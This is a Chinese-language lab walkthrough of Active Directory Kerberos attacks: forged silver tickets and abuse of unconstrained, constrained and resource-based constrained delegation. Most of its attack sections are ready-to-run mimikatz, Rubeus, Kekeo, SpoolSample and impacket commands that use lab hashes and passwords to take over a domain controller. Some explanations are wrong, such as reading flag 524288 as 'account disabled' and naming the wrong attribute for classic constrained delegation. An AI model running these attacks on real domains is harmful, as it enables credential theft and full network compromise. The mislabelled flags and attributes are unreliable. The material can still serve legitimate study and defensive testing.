pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:0e88bb31c15409de8c9302a085a0b853@10.10.10.10" "cifs@vvvv1.com"

白银票据的服务列表

Service TypeService Silver Tickets
WMIHOST <br>RPCSS
PowerShell RemotingHOST <br>HTTP
WinRMHOST <br>HTTP
Scheduled TasksHOST
Windows File Share (CIFS)CIFS
LDAP operations including<br><br>Mimikatz DCSyncLDAP
Windows Remote Server Administration ToolsRPCSS <br>LDAP <br>CIFS

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

白银票据利用

https://www.cnblogs.com/backlion/p/8119013.html

1.为CIFS 服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限;

2.为HOST服务创建白银票据,以获得目标计算机修改和创建计划任务的权限;

3.为HTTP&WSMAN服务创建白银票据,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限,

注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell;

4.为LDAP服务创建白银票据,以获得目标系统(包括Active Directory)上LDAP服务的管理权限,通过DCSync来获取域hash;

5.为HOST和RPCSS服务创建白银票据,以获得在目标系统使用WMI远程执行命令的权限;

总结

1.白银票据是通过服务名和其hash来进行伪造服务票据ST,并且在利用白银票据的过程并不需要再经过KDC,因此,在socks代理环境下,只需要修改本地的host文件,使我们的命令走kerberos协议,即可使用白银票据;

2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是,黄金票据相当于是伪造TGT票据,接下来还需要访问域内的DNS服务器,来返回KDC的地址等信息,因此必须要DNS远程解析才可以使用黄金票据;

3.当使用域名进行dir或者net use的时候,默认是使用kerberos认证,但是在特定情况下 Kerberos 认证失败(如未正确配置、目标服务器不支持或 Kerberos 凭据过期等),Windows 客户端会自动回退到使用 NTLM 认证,

也就是说如果是在域外的机器,在socks代理环境下,使用黄金票据无法指定KDC的地址,那么使用域名进行 dir 或 net use 操作时,默认的kerberos认证无法进行下去,就会使用ntlm认证。

NTLM认证审核失败如下:

ztscrxyj2ki12115.png

NTLM认证审核成功如下:

z35h35p4nf112119.png

4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证,而使用黄金票据认证失败却显示NTLM认证。

在使用白银票据时,修改host文件本地解析域名,且接下来的过程不涉及到KDC,因此可以直接使用kerberos认证通过,由于白银票据是伪造ST,且利用PAC未设置的漏洞,因此产生的日志只有上图的4号日志,因为绕过PAC检测,因此也不会有3号日志。

在使用黄金票据时,虽然也可以使用修改host文件本地解析域名,但是黄金票据是伪造TGT,后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作,而获取到KDC的地址则需要访问DNS服务器,通过DNS服务器指定KDC的地址,才能完成kerberos认证,但是在windows下无法远程解析,也就是无法在远程访问DNS服务器(Proxifier软件无法远程解析,linux中的proxychains可以),因此无法使用kerberos认证,所以Windows 客户端会自动回退到使用 NTLM 认证,此时如果我们输入错误的账户密码则会显示NTLM认证失败。

如果使用黄金票据认证成功,则会产生2、3、4号日志。

fa2mqvrhbb112122.png

4wzpspa4y3b12125.png

委派攻击

在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,需要服务B上属于自己的数据,最简单的方式就是A代替用户去请求B返回相应的信息,这个过程就是委派。

委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D

非约束委派攻击

非约束委派的请求过程如下图

dx5sdk2fpi112129.png

这里我们可以了解,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务,总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候,就会将自己的TGT发送到该服务所在的计算机上,然后该计算机会保存其TGT至内存中。

也就是说,如果域内一台主机存在非约束委派,经过一系列的渗透操作,我们拿下了这一台存在非约束委派的主机,那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,就可以直接提取到域管理员的TGT,从而利用该TGT接管域控。

查找非约束委派主机

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

lykhdzcml1212133.png

zo1ay2r4uyx12136.png

ADfind

(需要上传到域内一台成员主机中运行)

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  1. **-b "DC=vvvv1,DC=com":**指定了要搜索的 Active Directory 的基本搜索路径(基准 DN)。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。
  2. **-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))":**指定了过滤器,以筛选符合条件的对象。该示例的过滤器使用了两个条件:

**samAccountType=805306369:**筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。

  • 0x30000000 (805306368):表示用户对象(User)
  • 0x30000001 (805306369):表示计算机对象(Computer)
  • 0x30000002 (805306370):表示组对象(Group)
  • 0x30000003 (805306371):表示域本地组对象(Domain Local Group)
  • 0x30000004 (805306372):表示全局组对象(Global Group)
  • 0x30000005 (805306373):表示通用组对象(Universal Group)

**userAccountControl:1.2.840.113556.1.4.803:=524288:**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志,用于检查用户帐户是否禁用。

  1. **cn distinguishedName:**指定要返回的属性列表。该示例中返回了 cn(常规名称)和 distinguishedName(唯一名称)属性。

f05pxdnf13k12142.png

LdapSearch

(linux下,在socks代理的环境下可以使用,需要指定账号密码)

0v3rwfo0jpd12146.png

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "man03@vvvv1.com" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  • -LLL:以 LDIF 格式(LDAP Data Interchange Format)输出结果,去除注释和版本信息。
  • -x:使用简单身份验证(Simple Authentication),即使用明文密码进行身份验证。
  • -H ldap://192.168.124.142:389:指定要连接的 LDAP 服务器的主机和端口。在这个示例中,LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上,使用默认端口 389 进行通信。
  • -D "administrator@test.com":指定用于绑定(bind)到 LDAP 服务器的用户 DN(Distinguished Name)。在这个示例中,绑定的用户为 administrator@test.com。
  • -w "123":指定与绑定用户关联的密码。
  • -b dc=test,dc=com:指定要搜索的基准 DN(Base DN),即搜索的起始点。在这个示例中,基准 DN 是 dc=test,dc=com,表示搜索域为 test.com。
  • "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))":指定了搜索过滤器,以筛选符合条件的对象。该示例中的过滤器使用了两个条件:
  • samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
  • msds-allowedtodelegateto=*:筛选具有非空 msds-allowedtodelegateto 属性的对象。
  • cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表。该示例中返回了 cn(常规名称)、distinguishedName(唯一名称)和 msds-allowedtodelegateto 属性。

powerview

(需要上传powerview进入目标靶机)

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn

q22zwtonhrs12150.png

非约束委派利用

利用环境

域控:AD-2016

普通成员主机:WSUS-PC(配置非约束委派)

域管账户:VVVV1\administrator

hjd4m4k11qy12155.png

ojt2wrhn5vl12160.png

由上面的原理我们可以知道,一台主机配置了非约束委派之后,域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,都会将对应的TGT保存到该主机的LSASS进程中,我们就可以通过工具进行导出TGT来注入内存,获取域内高权限,从而接管域控。

这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。

  1. 未注入前权限

mz3xubg5x3j12163.png

  1. 使用域控或者域管账户对WSUS-PC机器进行kerberos认证

在域控上使用机器名进行net use建立共享进行kerberos认证。

net use \\WSUS-PC.vvvv1.com\ipc$

dir \\WSUS-PC.vvvv1.com\c$

经过此次连接后,Administrator的凭证已经留在机器WSUS-PC上了。

  1. 使用mimikatz导出TGT,并选择高权限TGT注入内存

privilege::debug #导出票据

sekurlsa::tickets /export

kerberos::ptt [0;7963f]-2-0-60a10000-Administrator@krbtgt-VVVV1.COM.kirbi #注入票据

vc15ufqnwnx12167.png

klist

ol25psbt5a512169.png

f1zgqqntf1u12172.png

发现权限提升,接管域控。

总结思路
  1. 通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。
  2. 通过渗透手段拿下目标机器权限。
  3. 诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。
  4. 利用成功后,域控或域管的TGT被注入LSASS进程,使用mimikatz等工具导出本地TGT。
  5. 获取到高权限TGT,使用mimikatz等工具将高权限的TGT注入内存,接管域控。
利用Spooler服务漏洞进行攻击

https://blog.csdn.net/a3320315/article/details/106511098

https://blog.csdn.net/qq_44159028/article/details/124014421

在特定情况下,如果域控开启splooer服务,可以利用splooer服务让域控主动连接。Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。

1j2jgozsqh212173.png

  1. Rubeus对域控机器账户监听

以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。

Rubeus.exe monitor /interval:1 /filteruser:ad-2016$

# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT

# /interval:1 设置监听间隔1秒

# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT

# DC$为域控的主机名字加$

2i0iytk14c312178.png

  1. 利用spoolsample工具强制让域控机向本机验证身份

以当前域用户身份运行spoolsample。

注意:需要关闭防火墙,否则无法抓取到TGT。

spoolsample.exe ad-2016 wsus-pc

# 表示利用打印服务强制让域控机向wsus-PC主机验证身份,这样通过Rubeus就可以监听抓取到TGT了

5dpz4kmzzpn12181.png

xkcbmpzk2fq12185.png

  1. 格式处理,获得票据

因为获取到的TGT前后存在换行和空格,这里我们使用python简单进行处理。

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

print(data)

使用powershell将其转为正常的票据

[IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data"))

注意:生成路径需要绝对路径

zrmmbmwwjtv12190.png

生成票据1.kirbi后直接导出即可。

使用mimikatz或者Rubeus导入TGT。

kerberos::ptt 1.kirbi

3vfoez0oz5h12192.png

或者使用Rubeus直接导入

Rubeus.exe ptt /ticket:TGT_data

1aruiiq5cd312195.png

注意,这里获取的TGT实际上是DC的机器账户,而机器账户是没有相应权限访问cifs服务的,但是在LDAP服务中,机器账户会被当做域控主机,从而可以DCSync。

利用DCSync可以导出域内hash,制作黄金票据来进行权限提升与维持,这里就不多赘述了。

wzdrovhbixg12198.png

slubr5xmszo12202.png

约束委派攻击

对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。

**约束性委派有两种:**一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。

(1)仅使用Kerberos

  • 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

(2)使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

约束性委派的流程

为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST

zocallrtqhi12206.png

  1. 用户A访问service1;
  2. service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST,这个ST代表域控授权service1可以以用户A的身份进行操作;
  3. service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST,而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST;
  4. service1获取到ST并以用户A的名义访问service2;

也就是说,如果获取了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用此ST便可以伪造任意用户请求获取service2的ST。

(注意:可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务,以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后,该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下,这个票据只能在颁发它的服务上使用,这样就是不可转发的服务票据。但是,在约束委派中,获取到的服务自身的ST可以将用户的票据转发给其他服务,以便用户无需重新进行身份验证,直接在其他服务上使用之前获得的票据。)

查找约束委派主机

当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

qdkyzydubd012210.png

oi2fgywhkrr12215.png

ncey1r53jtl12219.png

AdFind

//查询域内具有约束委派的机器账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3xyeozf4zos12224.png

4cvqx31dous12229.png

LdapSearch

//查询域内具有约束委派的机器账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

//查询域内具有约束委派的机器账户

Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

4xt23iceptf12232.png

3s2zitjhowm12239.png

约束委派利用

因为S4U2self是service代表用户请求的自身可转发的ST,因此如果要配置域内账户进行约束委派,需要对该账户配置SPN。

查看域内所有SPN

setspn -Q */*

amxrfbnhtjp12243.png

查看单个主机的SPN

setspn -L ad-2016$

fb1japt1ck412248.png

配置SPN

setspn -u -s host/weipai wp

  • -u: 指定要设置 SPN 的帐户。在此命令中,-u 参数指示要设置名为 "wp" 的帐户的 SPN。
  • -s: 指定要添加或更改 SPN 记录。在此命令中,-s 参数表示要添加一个新的或更改现有的 SPN 记录。
  • host/weipai: 这是 SPN 的格式部分之一,用于标识服务和主机。在这个例子中,"host/weipai" 被用作服务和主机名。请注意,这是一个示例,具体的服务和主机名应根据您的实际情况进行调整。
  • wp: 这是要设置 SPN 的帐户名。在这个命令中,"wp" 是指定要设置 SPN 的帐户的名称。

综上所述,setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录,并将其关联到 "host/weipai" 服务和主机。这样,在系统进行身份验证和授权时,可以正确地识别 "wp" 帐户,并将其与特定的服务和主机相关联。

032urlfrvea12252.png

攻击方式一

首先我们需要获取到服务账户的NTLM-HASH,用来制作TGT,通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派,使用其对应的机器账户即可)。

使用工具Kekeo生成服务账户的TGT

tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567

iqrvfkv54lr12255.png

这一步包括两个步骤:

1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST;

2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST;

(注意,伪造的用户需要是经过KDC备案的用户。另外,如果伪造的用户不具备其他服务的权限,那么即使成功委派该服务,生成了票据并注入内存也无法成功访问,因此最好直接伪造administrator用户)

伪造无权限的man03用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com

发现成功生成ST

fb4rltvfn2g12258.png

kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

导入ST后,发现并没有权限访问域控的CIFS服务

vi5ykdgpef012263.png

伪造有权限的administrator用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

xb3ltpcbh3s12266.png

导入ST后,可以直接访问域控的CIFS服务

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

mkeo1v2ocdr12270.png

zpo1mhf41d212275.png

当然,导入票据之后,具有了域控的CIFS权限,就可以直接使用psexec直接连接即可

psexec.exe \\ad-2016.vvvv1.com cmd.exe

a1dpd2uviin12279.png

在这里注意一个点,使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。

因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。

但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

然后使用impacket工具包即可直接连接。

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass

攻击方式二

当然,也可以直接使用mimikatz导出机器账户的TGT,这样就不需要生成TGT了。

sekurlsa::tickets /export

yxyohzzov0p12282.png

接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST,然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST

tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

gozbs50ssha12288.png

再通过mimikatz导入票据即可

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

xxgstau5t4q12293.png

然后可以使用官方的psexec进行连接

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

g0bgimn3yt512295.png

攻击方式三

直接利用Rubeus进行攻击

Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt

ygh0mz1d33d12298.png

已经可以直接使用psexec连接了

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

y5powimixsm12300.png

攻击方法四

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567

set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

50204pp1f4w12303.png

qshs5qxqk1r12304.png

总结

约束委派和非约束委派的区别

1.委派任何服务即为非约束委派,委派特定的服务即为约束委派;

2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证,并且需要通过认证,非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用;

而约束委派是在获取到配置了约束委派的主机后,通过伪造S4U来请求主机或者服务账号本身的可转发的ST,然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST;

3.非约束委派需要完成整个kerberos认证,因此需要其他主机主动进行认证,而约束委派只需要备案在KDC中的用户名即可,因此可以进行伪造用户请求,不需要其他主机主动进行认证;

4.使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

基于资源的约束委派

基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域

流程如下

  1. 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT;
  2. 服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的;
  3. 服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST;
  4. 服务A用上一步获得可转发ST访问服务B;

toikgv0gh1d12307.png

利用条件

由上文我们可以知道,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限。

在域控上执行,查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性

AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity

默认情况下没有该属性

hadeh5ejnpm12312.png

谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令,查询PC-2016机器的ACL,看哪些用户修改属性的权限

AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ys3knmwu5ri12317.png

如图所示,这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

VVVV1\WP:该用户为将该机器加入域的用户;

VVVV1\Cert Publishers:该用户组是用于授权和管理证书发布人的;

NT AUTHORITY\SELF:该用户是机器账户自身;

BUILTIN\Administrators:该用户组的是 Windows 操作系统中的一个内置用户组,包含了本地计算机上具有管理员权限的用户和组;

或者配置写入权限,也可以修改账户属性;

uzdzq2ewo0112319.png

实际上,我们可以忽略VVVV1\Cert Publishers组,因为该组默认是不存在用户的。

机器账户自身和管理员组可以修属性不难理解,但是为什么VVVV1\WP用户可以修改属性呢?

这里我们需要明白的是,非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内,如果使用某个域用户将一台机器加入域内,那么这个域用户也就拥有了可以修改对应机器的属性的权限。

b0gk5uvd5yd12324.png

另外,域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了,S4U2Self只适用于具有SPN的账户,而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,因此可以直接利用。

基于资源的约束性委派的优势

  • 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限;
  • 约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林;

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST;
  • 而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的;

基于资源的约束性委派攻击

该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证;

但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷;

因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户;

最后,我们总结几个利用的条件:

  1. 操作系统版本大于Windows Server 2012;
  2. 拥有一个普通域用户权限,用于创建服务账户(直接使用一个服务账户也可以);
  3. 拥有一个域用户权限,且该用户具有可以修改目标机器属性的权限(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
查询基于资源的约束委派的主机或服务账户

AdFind

利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。

查询域中配置了基于资源的约束性委派的主机

Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

查询域中配置了基于资源的约束性委派的服务账户

Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID

IdapSearch

利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性

查询域中配置了基于资源的约束性委派的主机

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

查询域中配置了基于资源的约束性委派的服务账户

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

基于资源的约束委派利用
步骤一

当前已经获取到域内一个用户权限VVVV1\WP

whoami /all

S-1-5-21-3315874494-179465980-3412869843-2607

或者使用PowerView工具

Get-DomainUser -Identity VVVV1\WP -Properties objectsid

l2d24u1zp1v12329.png

uh2es5mnbdp12332.png

导入PowerView.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

查看用户VVVV1\WP的ACL权限

Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights

或者使用如下命令,查询VVVV1\WP对指定机器账户的ACL权限

Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"}

eiwwqglptpw12336.png

zjtwpfatzfh12340.png

